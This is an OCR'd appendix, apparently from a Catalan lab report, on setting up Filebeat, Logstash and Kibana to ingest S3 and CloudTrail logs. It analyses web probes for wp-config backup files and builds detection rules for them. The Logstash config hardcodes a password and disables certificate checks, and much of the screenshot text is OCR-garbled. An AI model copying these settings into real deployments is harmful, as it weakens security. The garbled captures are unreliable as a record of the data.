#ssl.certificate: "/etc/pki/client/cert.pem"

# Client Certificate Key
#ssl.key: "/etc/pkil/client/cert.key"

# Processors

# Configure processors to enhance or manipulate events generated by the beat.

processors:
- add_host_metadata: ~
- add_cloud_metadata: ~
- add_docker_metadata: ~
- add_kubernetes_metadata: ~

s

i

Logging

# Sets log level. The default log level is info.
# Available log levels are: error, warning, info, debug
#logging.level: debug

# At debug level, you can selectively enable logging only for some components.
# To enable all selectors use [**"]. Examples of other selectors are "beat",

# "publish”, "service".

#logging.selectors: ["*"]

i X-Pack Monitoring

# filebeat can export internal metrics to a central Elasticsearch monitoring
# cluster. This requires xpack monitoring to be enabled in Elasticsearch. The
# reporting is disabled by default.

# Set to true to enable the monitoring reporter.
#monitoring.enabled: false

# Sets the UUID of the Elasticsearch cluster under which monitoring data for this

# Filebeat instance will appear in the Stack Monitoring Ul. If output.elasticsearch

# is enabled, the UUID is derived from the Elasticsearch cluster referenced by output.elasticsearch.
#monitoring.cluster_uuid:

# Uncomment to send the metrics to Elasticsearch. Most settings from the

# Elasticsearch output are accepted here as well.

# Note that the settings should point to your Elasticsearch *monitoring* cluster.
# Any setting that is not set is automatically inherited from the Elasticsearch

# output configuration, so if you have the Elasticsearch output configured such
# that it is pointing to your Elasticsearch monitoring cluster, you can simply

# uncomment the following line.

#monitoring.elasticsearch:
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# Migration

# This allows to enable 6.7 migration aliases
#migration.6_to_7.enabled: true

8.2.3.1.1.2. Captures
Captura 145: Incorporaci6 dels logs d’aplicacié a I'Elasticsearch
K @ sev osts Events e = @
@ @  + Add filter
E Events Swckby  eventacton

.
- p—

: mil LD LT T CL T DL T —

= Il [ T <

: Events
8.2.3.1.2. CloudTrail
8.2.3.1.2.1. Configuracions
Configuracio 3: CloudTrail Logstash
#input {
# stdin {}
#}
input {
beats {
port => 5044
type => "json"
}
filter {
json {
source => "message”
}
date {
match => ["eventTime" , "yyyy-MM-dd'T'HH:mm:ssZ"]
target => "@timestamp"
add_field => { "debug" => "timestampMatched"}
}
geoip {
source => "sourcelPAddress"
target => "geoip"
add_field => [ "[client][geo][location]", "%{[geoip][longitude]}" ]
add_field => [ "[client][geo][location]", "%{[geoip][latitude]}" ]
}
mutate {
convert => [ "[client][geo][location]”, "float" ]
}
}
output {
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elasticsearch {
hosts => ["https://elasticstack.mistic.lab:9200"]
index =>" filebeat-cloudtrail-%{+YYYY.MM.dd}"
user => "elastic"
password => "3l4s1cUs3r"
ssl_certificate_verification => false

stdout { codec => rubydebug { metadata => true } }

}

Configuracio 4: FileBeat JSON
HHHHHIHIH A Filebeat Configuration Example st HHHHEHIHRHHEHEHIHE

# This file is an example configuration file highlighting only the most common

# options. The filebeat.reference.yml file from the same directory contains all the
# supported options with more comments. You can use it as a reference.

#

# You can find the full configuration reference here:

# https://www.elastic.co/guide/en/beats/filebeat/index.html

# For more available modules and options, please see the filebeat.reference.yml sample
# configuration file.

# Filebeat inputs
filebeat.inputs:

# Each - is an input. Most options can be set at the input level, so
# you can use different inputs for various configurations.
# Below are the input specific configurations.

- type: log

# Change to true to enable this input configuration.
enabled: true

# Paths that should be crawled and fetched. Glob based paths.
paths:
- /dades/s3logs/logs/*.json
input_type: log
json.keys_under_root: true
json.add_error_key: true
# Exclude lines. A list of regular expressions to match. It drops the lines that are
# matching any regular expression from the list.
#exclude_lines: ["DBG']

# Include lines. A list of regular expressions to match. It exports the lines that are
# matching any regular expression from the list.
#include_lines: ["ERR', “"WARN']

# Exclude files. A list of regular expressions to match. Filebeat drops the files that
# are matching any regular expression from the list. By default, no files are dropped.
#exclude_files: ['.gz$']

# Optional additional fields. These fields can be freely picked

# to add additional information to the crawled log files for filtering
#fields:

# level: debug

# review: 1

### Multiline options

# Multiline can be used for log messages spanning multiple lines. This is common
# for Java Stack Traces or C-Line Continuation
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# The regexp Pattern that has to be matched. The example pattern matches all lines starting with [
#multiline.pattern: M\

# Defines if the pattern set under pattern should be negated or not. Default is false.
#multiline.negate: false

# Match can be set to "after" or "before". It is used to define if lines should be append to a pattern
# that was (not) matched before or after or as long as a pattern is not matched based on negate.
# Note: After is the equivalent to previous and before is the equivalent to to next in Logstash
#multiline.match: after

# Filebeat modules

filebeat.config.modules:
# Glob pattern for configuration loading
path: ${path.configl/modules.d/*.yml

# Set to true to enable config reloading
reload.enabled: false

# Period on which files under path should be checked for changes
#reload.period: 10s

# Elasticsearch template setting

setup.template.settings:
index.number_of_shards: 1
#index.codec: best_compression
#_source.enabled: false

# General

# The name of the shipper that publishes the network data. It can be used to group
# all the transactions sent by a single shipper in the web interface.
#name:

# The tags of the shipper are included in their own field with each
# transaction published.
#tags: ["service-X", "web-tier"]

# Optional fields that you can specify to add additional information to the
# output.

#fields:

# env: staging

# Dashboards

# These settings control loading the sample dashboards to the Kibana index. Loading
# the dashboards is disabled by default and can be enabled either by setting the
# options here or by using the “setup™ command.

#setup.dashboards.enabled: false

# The URL from where to download the dashboards archive. By default this URL

# has a value which is computed based on the Beat name and version. For released
# versions, this URL points to the dashboard archive on the artifacts.elastic.co

# website.

#setup.dashboards.url:

# Kibana

# Starting with Beats version 6.0.0, the dashboards are loaded via the Kibana API.
# This requires a Kibana endpoint configuration.
setup.kibana:

# Kibana Host
# Scheme and port can be left out and will be set to the default (http and 5601)
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# In case you specify and additional path, the scheme is required: http://elasticstack.mistic.lab:5601/path
# IPv6 addresses should always be defined as: https://[2001:db8::1]:5601
#host: "elasticstack.mistic.lab:5601"

# Kibana Space ID

# 1D of the Kibana Space into which the dashboards should be loaded. By default,
# the Default Space will be used.

#space.id:

# Elastic Cloud

# These settings simplify using Filebeat with the Elastic Cloud (https://cloud.elastic.co/).

# The cloud.id setting overwrites the “output.elasticsearch.hosts™ and
# “setup.kibana.host™ options.

# You can find the “cloud.id” in the Elastic Cloud web UI.

#cloud.id:

# The cloud.auth setting overwrites the “output.elasticsearch.username™ and
# “output.elasticsearch.password” settings. The format is “<user>:<pass>".
#cloud.auth:

= Outputs

# Configure what output to use when sending the data collected by the beat.

# Elasticsearch output
#output.elasticsearch:

# Array of hosts to connect to.
# hosts: ["elasticstack.mistic.lab:9200"]

# Protocol - either “http” (default) or "https'.
# protocol: "https"

# Authentication credentials - either API key or username/password.
#api_key: "id:api_key"

#username: "elastic"

#password: "changeme"

# Logstash output
output.logstash:
# The Logstash hosts
hosts: ["elasticstack.mistic.lab:5044"]
# Optional SSL. By default is off.
# List of root certificates for HTTPS server verifications
#ssl.certificate_authorities: ["/dades/s3logs/filebeat-7.6.2/ssl/certs/ca_server.pem"]
# Certificate for SSL client authentication
#ssl.certificate: "/etc/pki/client/cert.pem"

# Client Certificate Key
#ssl.key: "/etc/pkil/client/cert.key"

# Processors

# Configure processors to enhance or manipulate events generated by the beat.

processors:
- add_host_metadata: ~
- add_cloud_metadata: ~
- add_docker_metadata: ~
- add_kubernetes_metadata: ~

Logging

# Sets log level. The default log level is info.
# Available log levels are: error, warning, info, debug

151



#logging.level: debug

# At debug level, you can selectively enable logging only for some components.
# To enable all selectors use ["*"]. Examples of other selectors are "beat",

# "publish", "service".

#logging.selectors: ["*"]

# X-Pack Monitoring
# filebeat can export internal metrics to a central Elasticsearch monitoring

# cluster. This requires xpack monitoring to be enabled in Elasticsearch. The
# reporting is disabled by default.

# Set to true to enable the monitoring reporter.
#monitoring.enabled: false

# Sets the UUID of the Elasticsearch cluster under which monitoring data for this

# Filebeat instance will appear in the Stack Monitoring UL. If output.elasticsearch

# is enabled, the UUID is derived from the Elasticsearch cluster referenced by output.elasticsearch.
#monitoring.cluster_uuid:

# Uncomment to send the metrics to Elasticsearch. Most settings from the

# Elasticsearch output are accepted here as well.

# Note that the settings should point to your Elasticsearch *monitoring* cluster.
# Any setting that is not set is automatically inherited from the Elasticsearch

# output configuration, so if you have the Elasticsearch output configured such
# that it is pointing to your Elasticsearch monitoring cluster, you can simply

# uncomment the following line.

#monitoring.elasticsearch:

# Migration

# This allows to enable 6.7 migration aliases
#migration.6_to_7.enabled: true

8.2.3.1.2.2. Captures

Captura 146: Esdeveniment CloudTrail |

& (<R © & ~© https//elasticstack misticlab:5601/app/kibana# /discover?_g=(refreshinterval{pause:'tvalue:0) time:{from:2020-04-01T06:01:41.204Z to: += @ E Y n O ®
£ B oo o P
awscloudtrial-* ~ 20,744 hits
2 [ Apr 1, 2020 @ 08:01:41.204 - Apr 2, 2020 @ 18:16:47.545—  Auto ~
40
® Filter by type 0

Selected fields

Count

+ _source

Avaiabie fields sallsnnnnnnnnnnnnnliinm

m @t

02:00 200 1500 00 X
@timestamp per 30 minutes

@t
o t d Time - _source
&
¢ _index > Apr 1, 2028 © 20:20:56.880 109 file.path: /dades/s3logs/logs/Eventsawscli.json log.offset: 2 host.hostname: elasticstack.mistic.lsb hest.os.codename: Core
B host.os.name: Cent0S Linux host.os.kernel: 3.18.6-1862.18.1.617.x86_64 host.os.family: redhat host.os.platform: centos
R host.os.version: 7 (Core) host.containerized: false host.id: bb73adfd76bB4847971797bd7c64 857 host.architecture: x86.64
Tt e host.name: elasticstack.mistic.lab @rimestamp: Apr 1, 2020 @ 20:29:56.600 requestlD: 8d1754f8-d8cd-4d16-asbe-671165668588
& i awsRegion: eu-west-1 eventType: AwsApiCall debug: timestamoMatched sourceIPAddress: 3.248.65.133 apiVersion: 20148328
& @ additionalEventData.Ciph. > MApr 1, 2026 @ 20:29:56.888 1og.file.path: /dades/silogs/logs/Eventsawscli.json log.offset: 1,385 host.hostname: elasticstack.mistic.lab host.os.codename: Cor
) . host_os.name: Cent0S Linux host.os.kernel: 3.18.8-1862.18.1.e17.x86_64 host.os.family: redhat host.os.platform: centos
0 G i AT host.os.version: 7 (Core) host.contsinerized: false host.id: bb73adfd76bBAB479F179fbd7c64fB57 host.name: elasticstack.mistic.lash
- ¢t agent.ephemeral_jd host.architecture: x86_64 @timestamp: Apr 1, 2828 @ 28:29:56.888 requestID: a11372bB-dfac-41a2-saa5-a9f1245¢7383 awsRegion: eu-

£ ageni hostname west-1 eventType: AwsApiCall debug: timestampMatched sourcelPAddress: 3.248.65.133 apiVersion: 28140328

152



Captura 147: Esdeveniment Cloudtrail 11

« > C @ @ £ -0 hitpsy/elasticstack misticlab:5601/app/kibana#/discover?_g=(refreshinterval:{pause:'tvalue0).time:(from:2020-04-01T06:01:41.204Z 1+ @ E ¥ N @O @ =
; . Discover (<] F_'l- [ ]
¢ hastos family
t host.id bb73adfd76bB48479f179fbd7c641BST
t hastoskemel
t host.name elasticstack.mistic.lab
®  t hostosname
t host.os.codename Core
I t host.os.platform
- t host.os. family redhat
t hostos.version
t host.os.kernel 3.10.8-1062.18.1.17.x86_64
t input.type
t host.os.name Cent0S Linux
¢ logfile.path
t host.os.platforn centos
£, gofisat
t host.os.version 7 (Core)
7 @ message
t input.type 1og
a @ readOnly
< t log.file.path /dades/s31ogs/1ogs/Eventsawscli. json
@ reciplentAccountid
& + log.offser 2
@ requestiD
= @ recipienthccountld 541551430135
@ requestParameters.attach...
g @ requestin 8d175478-dBcd-4d16-aabe-67F 76566858
@ requestParameters bucke...
@ requestParaneters. LogGrouphame Jaws/kBs/production/applicatian
@ @ requestParameters.durall..
@ requestParameters. LogStreashame
@  © requestParameters.encry.. -ugt5z_1 isapp_latenciacron-5b2e933bBbaldZbdes9587h5ca151c1
£2f02143d9549057402798bbBeabaBbfa
o O requestParameters.encry...
v @ sourceIPAddress 3.248.65.133
© requestParameters.ncry...
& t tage beats_input_ram_event
@ requestParameters.extem...
t type Json
= @ requastPar: ters.filers...
- ® userAgent sws-sdk-ruby3/3.68.0ruby/2.6.4x86_64- 1inuxaws-sdk-cloudwatchlogs/1.25.0

@ e o e

B~ Search
® ®  + Add fier
[}
- Hosts
B
2
ot
4 1
@
2 o
o
=t 03230000 230400 03730800
@&
@ All hosts Authentications
@
@ Events

nnnwe

8.2.3.2.  Analisi de dades
8.2.3.2.1. Logs d’aplicacid: S3

Captura 148: GET consulta estranya

e = @

B B~ Mar23, 2020 @005  Mar 23, 2020 @ 20 -@

Drop anything | highlighted | here to build an  os | query

X {7 | Untitea Timeine  Description

wo Fiter v [Bw urlpath: /biz_photos/scrollable_photas® KaL e Rawevenls

©  +Add fiter

User uthentications

+ 5 success

Columns  @timestamp message evant.catagory avant.action hostasme sourca

> R O Mar232020 9020853000 1C B = - alastic

Uncommon processes  Events  E

m2000

1w of 1 Events © Updated 10 seconds ago

153



B Y & 4 & b e B 3 B QO

[o]

ab

ab

ab

ab

ab

ab

ab

ab

ab

ab

ab

ab

ab

B s o cvens
[~ Search X §¥  Untitied Timekine Description Mar 23, 2020 @ 00:5 + Mar 23, 2020 @ 20:
@ - Add fiter
Bl + HsuUccess Drop anything | highighted | here to buid an | on  query
. o | F' ¢ [ unpath:fbizchotos/scrolable_photost KGL e Rawevents
o [ S—
o @ «Add fiter
BHEN  BDN® Dm0 o 85 1 15 2 25 3
= Columns  @timestamp & message event category event action hastname soure
# | nittp requestmethod loET
Allhosts  Authentications  Uncommon processes  Events  E 5 . =
¢ | ip requestraferrar e
# I http responsebytes 15835
# Inup response.status_cote fa0s
Events ¢ Intpverson i
¢ | mputtype g
80 h i
20 n n
tie i \as
153

A

. i
n
1000 i idades/sJlogs/logsi access og 202003
- . . . B - “

Captura 149: Detall de la consulta

# llogoffset frnzszs
e e " .
B ¢t imessaoe 15 1
B ©isoucein o e
¢ ltags Ibeats_input_codec_plain_appled
Events @ | timestamp 123/Mar/2020-02:08:53 <0100
Showing: 70,194 events Uiviz_phatosiscrollable_photos/piZzha
= @timestamp & message hostrama 1w of 1] Events © Updated 5 minutes ago
Captura 150: Filtre per IP
Untitled Timeline Description ] ~ Mar 23, 2020 @ 00:5 - Mar 23, 2020 @ 20: @

"
; H
: "
HE 63" X
.
.
.
.
Alomp el ORiquen) - o o o o o o —aat
ano | Filter ~  [S]~ Search KQL ® Raw events v
@  + Add filter
Columns  @timestamp & url.path http.r tatu, host.name sourc
> n O [Mar 23, 2020 @ 16:45:02.000 | /staticelem/css/reset.css 1404 " 1 elasticstack.mistic.lab fa0.;
> jui O iMar 23, 2020 @ 15:33:16.000 lis/a83.js 1204 1 1 elasticstack.mistic.lab i
> jui 2 [Mar 23, 2020 @ 15:30:11.000 templates/tube3/js/boots... (404 1 1 elasticstack.mistic.lab 140,
> jul O [Mar 23, 2020 @ 15:29:38000 | /_nuxt/7cddab10f3d8c7dd... [404 0 1 elasticstack.mistic.lab .
> ﬂ [m) Mar 23, 2020 @ 15:23:27.000 [_layouts(15/blank.js 404 hl 1 elasticstack.mistic.lab 40,5
> I1=.l O iMar 23, 2020 @ 13:07:01.000 Jcss/btn.min.css i404 1 1 elasticstack.mistic.lab 40
> ﬂ O iMar 23, 2020 @ 13:07:00.000 lis/capslock.js 404 i 1 elasticstack.mistic.lab 40.;
> jui O iMar 23, 2020 @ 13:06:59.000 | fjs/jeasyui/jquery.easyuim... (404 1 57. elasticstack.mistic.lab i403
> ﬂ [} Mar 23, 2020 @ 11:24:05.000 Iweb/css/lity.css 1404 1 elasticstack.| ic.lab
> ﬂ 2 iMar 23, 2020 @ 11:24:04.000 [webfjs/validation.js 404 iy 57.... !elasticstack.mistic.lab 140,
> ﬁ O iMar 23, 2020 @ 11:24:04.000 Iwebfjs/common.js 1404 i 57... | elasticstack.mistic.lab
> ﬁ O iMar 23, 2020 @ 1:24:03.000 Iwebfjsfjguery.hc-sticky.m... 1404 iy 1 elasticstack.mistic.lab 140,
> hui O iMar 23, 2020 @ 1:24:02.000 [ /web/css/jquery.treefilter.c.. 404 1 1 lielasticstack.mistic.lab g0
> ﬂ O iMar 23, 2020 @ 11:24:02.000 Iweb/css/ranking.css 404 i 57.... [elasticstack.mistic.lab 40.;
bl o O iMar 23 2020 @ 10:53:20.000 lassetslisihase/detail minis 1404 Rl 1 elasticstack mistic lab 407

30 v of 30

Events

154

(@ Updated & minutes ago



Captura 151: Consultes amb estat diferent a 404

o = @

X ﬂ? Untitled Timeline Description & v Mar 23,2020 @ 00:5 » Mar 23,2020 @ 20: @
H H
; H
I--. HER '40.77.188.163" X | | AND | not hitp.response.status_code: *404" X H
[ [
; H
2306:00 * Drop here to build an OR query H
ano | Filter ~ [}~ Search KaL ® Rawevents
®  + Add filter
i= Columns  @timestamp url.path http.response.statu... message host.name source.i
host.name
elasticstack.mistic lab
elasticstack.mistic.lab
elasticstack.mistic.lab
elasticstack.mistic.lab
elasticstack.mistic.lab
elasticstack.mistic.lab
elasticstack.mistic.lab
elasticstack.mistic.lab
elasticstack.mistic.lab
elasticstack.mistic.lab
elasticstack.mistic.lab
elasticstack.mistic.lab
mistic lab
elasticstack.misticlab. 0 ~ of | o Events ® Updated now
Captura 152: Index Pattern |
K Kibana x 4+ - a X
€ > C & Noseguro | elasticstackmisticlab:5601/app/kibar dex_pattem? g=() %] tow Ak g @
B Varsgement Index patterns | Createindex pattern ® = @
= Elasticsearch
® Index Management Create index pattern
Index Lifecycle Policies Kibana uses index patterns to retrieve data from Elasticsearch indices for things like visualizations. % Include system indices
e Rollup Jobs
Transforms
=l Remote Clusters Step 1 of 2: Define index pattern
Snapshot and Restore
= License Management Index patte
& 8.0 Upgrade Assistant filebeat-7.6.2-*
. You can use a * as a wikdcard in your index pattern.
W £ Kibana You can't use spaces or the characters \, /,2,% <, >, |.
2 ~ Success! Your index pattern matches 8 indices.
Index Patterns
Saved Objects filebeat-7.6.2-2020.03.20
6
Spaces
S Reporting filebeat-7.6.2-2020.03.21
Advanced Settings filebeat-7.6.2-2020.03.22
d
filebeat-7.6.2-2020.03.23
& @ Security
filebeat-7.6.2-2020.03.24
® Users
- Roles filebeat-7.6.2-2020.03.25
@ API Keys
filebeat-7.6.2-2020.04.04-000001
S
. filebeat-7.6.2-2020.05.08

155



Captura 153: Index Pattern I

E «ibana X 4 o o x
€ 5 C & Noseguo | elasti i 1/app/k dbanafindex_pattem?_g=() B A% &AL pE @
K B Manegement  indexpattems | Create index pattern ® = @

= Elasticsearch

® Index Management Create index pattern

Index Lifecycle Policies Kibana uses index patterns to retrieve data from Elasticsearch indices for things like visualizations. X Include system indices
E Rollup Jobs

Transforms
=l Remote Clusters Step 2 of 2: Configure settings

Snapshot and Restore
o License Management You've defined filebeat-7.6.2-* as your index pattern. Now you can specify some settings before we create it.
8 8.0 Upgrade Assistant Time Filter fieid Refrash
G @timestamp ~
% g Kibana

The Time Filter will use this fiekd to fiiter your data by time.

] Index Patterns You can choose not to have a time field, but you will not be able to
@ Saved Objects narrow down your data by a time range.

Sphcas > Show advanced options
=] Repaorting

Advanced Settings
o < Back
& @ Security

Users
@ Roles
@ AP Keys
o
=

Captura 154: Configuracio de la capa |
K xibana x
€ > C A Noseguro| i g i L B A% BREGE @
z . Maps New Map e = .
(  Fullscreen Inspect Save
[ v Search KQL  @® v Last15minutes Show dates -
@®
4 Select source
=
Choose data source
&
|
° @ Uploaded GeoJSON
6 | Upload and index GeoJSON data in
Elasticsearch
a
@ -
= Documents
= Vector data from a Kibana index pattern
& = Grid aggregation
Geospatial data grouped in grids with metrics

Q for each gridded cell
@
e Cancel
=

156



Captura 155: Configuracio de la capa Il

z . Maps New Map e = .

~  Fullscreen Inspect Save

B v Search KQL O v Mar19,2020 @ 00:33:10.4 - Mar 25, 2020 @ 15:48:20.4
(G]

®  +Add filter
0
i) ; LAYERS Add layer
& R : @ filebeat-76.2-*
. < Change data source
2
‘;9 Index pattern
) | filebeat-76.2-* Qv
a |
| ‘Geospatial field
D client.geolocation ov

152.05776, z00m: o.‘ Ceriee! _

Captura 156: Configuracio de la capa llI

K «ibana x 4 = a X
€ & C A Noseguro | ; g i -03-18123331041120:2020-03-251144820.. & @ % & A K 8 @

; - Maps  New Map e = .

(  Fullscreen Inspect Save

B Search KQL O v Mar19,2020 @ 00:33:10.4 - Mar 25, 2020 @ 15:48:20.4
®
®  +Add filter
]
=l I Origens
> Source details
o3
& [
(£ Layer settings
‘ Name Origens
a |
D  Visibiity Zoomlevels 0 24
Opacity —(— 75 %
2
g
Tooltip fields
source.ip
© Add

') 84 = Y

147.50802, z00m: 0.1
i Cancel Remove layer m

157



A4

. Maps New Map

Full screen Inspect Save

Captura 157: Accés des de Russia

e = @

KQL O v Mar19,2020 @ 00:33:10.4 - Mar 25, 2020 @ 15:48:20.4 -

LAYERS

@ Origens

B} Road map

Captura 158: Detall d’accés des de Russia

5 C A Noseguno| el \ mistic lab:S601 S,

1584631098143 kind:absolt M. W A B RAE B @

€]

B ®

G o & b & e B M
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B sev Hosts Events

q-:.\\ Overview Hosts

[~ Search

@  + Add filter

Hosts

Last event: 1 hour ago

03201200 03221200

All hosts Authanlica1'1

x ﬁ Untitled Timeline Description

e = @

& B~  Mar19,2020 @ 16:1 + Mar 24, 2020 @ 16:1

o Filter ~  [B]~ Search

@+ Add filter

KaL ® Raw events v

iE Columns  @timestamp |- geoip.country_name url.path message
> o O Mar 20, 2020 @ 14:09:45.000 ' Russia ¥ fwp-config.php.fatt-debug-bak 10. 575... |
> o O [Mar 20, 2020 @ 14:09:45.000 | Russia | fwp-config.php.fatt-debug-bak 10. 8L |

2 v of 2 Events
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Captura 159: Intents accés *wp-config*

B scev o Hosts Events o = @
v | Search X ¥¥  Untitled Timeline Description © Notes o | @) @~ Mar19,2020 @161 + Mar 24,2020 @ 161 @3
@+ Add filter !

1
i Drop anything | highlighted  here tobulldan o  query
H
e
Hosts
3 ao Fiter ~ [~  url.path: *wp-config* KQL  ® Rawevents
G
@+ Add filter
3 Columns  @timestamp http.response.statu... geoip.country_name url.path message
22
i /\ A > B 8@ iMar20,2020 @2316:49000 | 301 Sweden Jwp-config php_orig 10.0.50.2¢
06201200 03221200 > B O Mar20,2020 @2316:45000 | 301 Sweden Jwp-config.php.orig 10.0.50.2¢
> B O iMear20,2020@2316:32000 | 301 United States Jwp-config.php_. 10.0.78.68
Allhosts  Authenticatih | > B O [Mar20,2020 @23:16:25000 (301 Austria Jwp-config.php~ 10.0.50.2¢
> § O iMer20,2020@2316:23000 404 Germany Jwp-config.php.save 1007868
> B & iMar20,2020 @2316:20000 [ 301 Austria Jwp-config.php.save 10.0.50.2¢
Events > [ O iMar20,2020@2316:15000 [ 301 Netherlands Jwp-config.php.backup 100502¢
> B 0O iMar20,2020 @2316:12000 404 Metherlands Jwp-config.php.bak 10.0.50.2¢
18,000
16000 > I O Mar20.2020®231610000 301 Netherlands Iwo-confia.oho.bak 10.0.50.2¢
14000
12000
10,000 21 ~ of =1 Events (@ Updated 4 minutes ago
e
Captura 160: Signal wp-config
B sev o Detections  Signal detection rules | Create o = @

Define rule

Index patterns
filebeat-76.2-*

About rule

Name
Acces WP-Config

Description
Acces WP-Config

Severity
® Low

Schedule rule

Runs every

159

& Edit
Custom query
url.path: *wp-config*

& Edit
Risk score
50

Investigate detections using this timeline template
Default blank timeline

Tags
Custom  Web

Timeline ~
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@ sEM Detections  Signal detection rules

° Define rule

Index patterns
filebeat-76.2-*

° About rule

Name
ConsultaEstranya

Description
ConsultaEstranya

Severity
® High

e Schedule rule

Runs everv

Captura 161: Signal consulta estranya

Create

& Edit
Custom query
url.path: /biz_photos/scrollable_photos/*

& Edit
Risk score
75

Investigate detections using this timeline template
Default blank timeline

Tags
Custom  Web

8.2.3.2.2. CloudTrail Logs

Captura 162: Detall d’esdeveniment d’instancia |

B sev Hosts Events

[€] v eventName: Describe®

®  +Add filter

NN e Ve

.
t

=]

P I I I I I

@timestamp message

g

awsRegion
client.geo location

debug
ecs.version

eventiD

aventame
eventSource
eventTime
eventType
eventVersion
geoip.city_name
geoip.continent_code
geoip.country_code2
geoip.country_code3
geoip.country_name

ceoin.io

KQL ]~  Apr1,2020 @ 00:15:59.981 + Apr1, 2020 @ 23:16:07189

host.name ‘event. module event dataset event.action

feu-west-1

1-6.2488
153.3338

{timestampMatched

1140
§7400127-3da7-492a-bees-b8f125950c67
i Describelnstances.

fec2.amazonaws.com

{4pr 1, 2020 @ 20:27:19.000

 AwsApiCall

i1.05

1 Dublin

iEU

] 153

160

Timeline ~

user.name

Timeline ~




Captura 163: Detall d’esdeveniment d’instancia Il

S

B scev o Hosts Events o = @

~  Apr1,2020 @ 00:15:59.981 - Apr1, 2020 @ 23:16:07.189 I

[~  eventName: Describe* KaL

@ @+ Add filter

SO, 12,003 Ve

& @timestamp message host.name event.module event dataset event.action user.name
= i {instanceld™"i-Ofe€ besc”)
(® | requestParameters.instancesSet.items {{"instanceld™"i-Odai fat6"}
8 § {linstanceld™"i-036 24id")} £
@
t  sourcelPAddress i34 153 k-
- o
t [tags {beats_input_raw_event £
E
[
8 t type fisen
t | userAgent {aws-sdk-go/1.21.6(g01.12.5]linux;ama64)
& t  userldentity.accessKeyld iase o0
] t | userldentity.accountid 154 135
armaws:stsi54 135:assumed-
el t | useridentity.arn role/masters.newplatformpro.k8s.local/i-
03 Afd
3 e
@ 1t | userldentity.principalld ;;: T ELLE
@
o userldentity.sessionContext.attributes.cr s
© rionoate 1 Apr 1,2020 @ 14:42:42.000
o .
¥ ¢ | userldentitysessionContextatributes.m e
- faAuthenticated
L ity text. I
- ¢ | seridenttysessionContext sessionlssue ey =

Captura 164: Detall d’esdeveniment d’instancia Il

K B scev o Hosts Events o = @

~  Apr1,2020 @ 00:15:59.981 - Apr1, 2020 @ 23:16:07.189 I

[~  eventName: Describe* KaL

@ @+ Add filter

i [

il Btimestamp & message hast.name event.madule event.dataset event.action user.name
Udbasasseacata

= userldentity.princigalld "

e t e 036¢ baid

® userldentity.sessionContext.attributes.cr

eationDate Apr 1, 2020 @ 14:42:42.000

Timeline ~

userldentity. sessionContext.attributes.m

fal
@ ¥ fanutnenticated =
&
¢ | useridentity sessionContext sessionissue .
53] r.accountld
¢ | useridentity.sessionContext.ssssianissus | amiawsiam:54 135:role/masters.n
=1 r.am ewplatformpro.k8s local
userldentity.sessionContext.sessionlssue
<) t | principalld AR o
— y——
& ¢ | useridentity.sessionContext sessionlssue
r.lype
L ity 1t I
© ¢ | useridentity.sessionContextsessionissue ¢ o e e tocal
r.userame
@ t | userldentity.type AssumedRole .
. > [Apri, 2020 @20:27:19000 | — elasticstack.mistic.lab - - - -
= > Apr1, 2020 @20:27:19.000  [— elasticstack.mistic.lab - - - -
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Captura 165: Detall d’acci6 d'usuari |

N

B scev o Hosts Events ® = @

[E ~ eventName: Describe* KQL B~ Apr1, 2020 @ 00:15:59.981 - Apr1, 2020 @ 23:16:07.189

@ @  +Add filter

& = @timestamp - message hast.name event.module event.dataset event.action user.name
) @ _score 1

@ type _doc ¢
2 .

t  agentephemeral_id i3 9-aa0f- 3 ©
¢y t | agent.hostname ! elasticstack.mistic.lab E
o t | agentid bdBB40dC-Bar-4826-a309-c59 1b18d6ee F
= t | agenttype filebaat
5] 1t | agent.version 782
_ t | awsRegion Jeu-west-1
=]

@ client.geo.location 395;;1
o .

t | debug timestampMatched
@ t | ecsversion 1.40

1810490 7d-5620-4416-beb(-

¥ t [eventd a32e8895036d
@ t | eventName i DescribelnstanceStatus

t | eventSource { ec2.amazonaws.com
”m

@ eventTime Apr 1, 2020 @ 20:26:47.000
=

) , g .
Captura 166: Detall d’acci6 d’usuari Il
E B sev Hosts Events ® = @
[E ~ eventName: Describe* KQL B~ Apr1, 2020 @ 00:15:59.981 - Apr1, 2020 @ 23:16:07.189

®

©  +Add fiter

i SRR, 12,203 Events
& = @timestamp message host.name event.module event dataset event.action user.name
1 g O3S CVET 3BT SGIZ T
je # | log.offset 87193
) t | recipientAccountid 54 135 <
@
t | requestiD 49068a3e-2aea-4ad5-a406-984b8d2caelc €
a5 T
& @  requestParameters.nstancesSetitems | {instanceldi-0c3 ) £
IS
sourcelPAddress 147 74
o) t | sourcelPAddress
t tags beats_input_raw_event
@ t type json
= ¢ Tuseragent aws-clf1.14.28Python/2.7.5Linux/3.10.0-

862.14.4.017 x86_B4botocore/1.8.35

d 1 | userldentity.accessKeyld aK RMQ
t  userldentity.accountid 541551430135
&
+ fuseridentity.am am:aws:iam:54 135:user/Monitor T
®
t | userldentityprincipalld AID 520
o
2 t | userldentity.type IAMUSser
o t  userldentity.userName MonitorT
= > iApri, 2020 ®20:26:40000 [— elasticstack.mistic.lab — — i— i—

8.2.4. Escenari 4. Machine Learning
8.2.4.1. Activacio de la llicencia de prova.
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Captura 167: Finestra management

= FElasticsearch

Management

Index Management

License management

9=0

H

Kibana 7.6.1 management

Manage your indices, index patterns, saved objects, Kibana settings, and more.

A full ist of tools can be found in the left menu

Captura 168: License management

@ Index Lifecycle Policies
I Rollup Jabs

Transforms
= Remote Clusters

Snapshot and Restore
o]

License Management
a2 8.0 Upgrade Assistant
@ .

E Kibana
& Index Patterns
@ Saved Objects

Spaces
= Reporting

Advanced Settings
& @ Security
‘? Users

Rales
@ APl Keys
@

€ 3 C A besmps
E @ esoement License management
< Elasticsearch

B ®

e B =5

Index Management
Index Lifecycle Policies
Rollup Jobs
Transforms

Remote Clusters
Snapsnot and Restore
License Management
80 Upgrade Assistant

85 © N

& B B

& d & b

@ 8 < ¥

E Kibana
Index Patterns
Saved Objects
Spaces
Reporting
Advanced Sattings

@ Security
Usars
Roles
APIKeys

G i Nesguo

g 90 Ma 4 A g

@ Your Basic license is active

Your license vill never expire.

Update your license

f you already have a new license, upioad it now.

Update license

Start a 30-day trial

Experience what machine leaming, advanced security, and all aur other Platinum
features nave 1o offer,

Start trial

Captura 169: Llicéncia activa

= Elasticsearch

Management

Index Management
Index Lifecycle Policies
Rollup Jobs

Transtorms
Cross-Cluster Replication
Remote Ciusters
Watcher

Snapshot and Restare
Licensa Managemant
£0 Upgrade Assistant

ibana

Index Patterns
Savad Objects
Spaces
Reporting

Advancad Sattinas

€ A Mempm

License management

I you already have & new icense, upload it now.

B A &R
[+

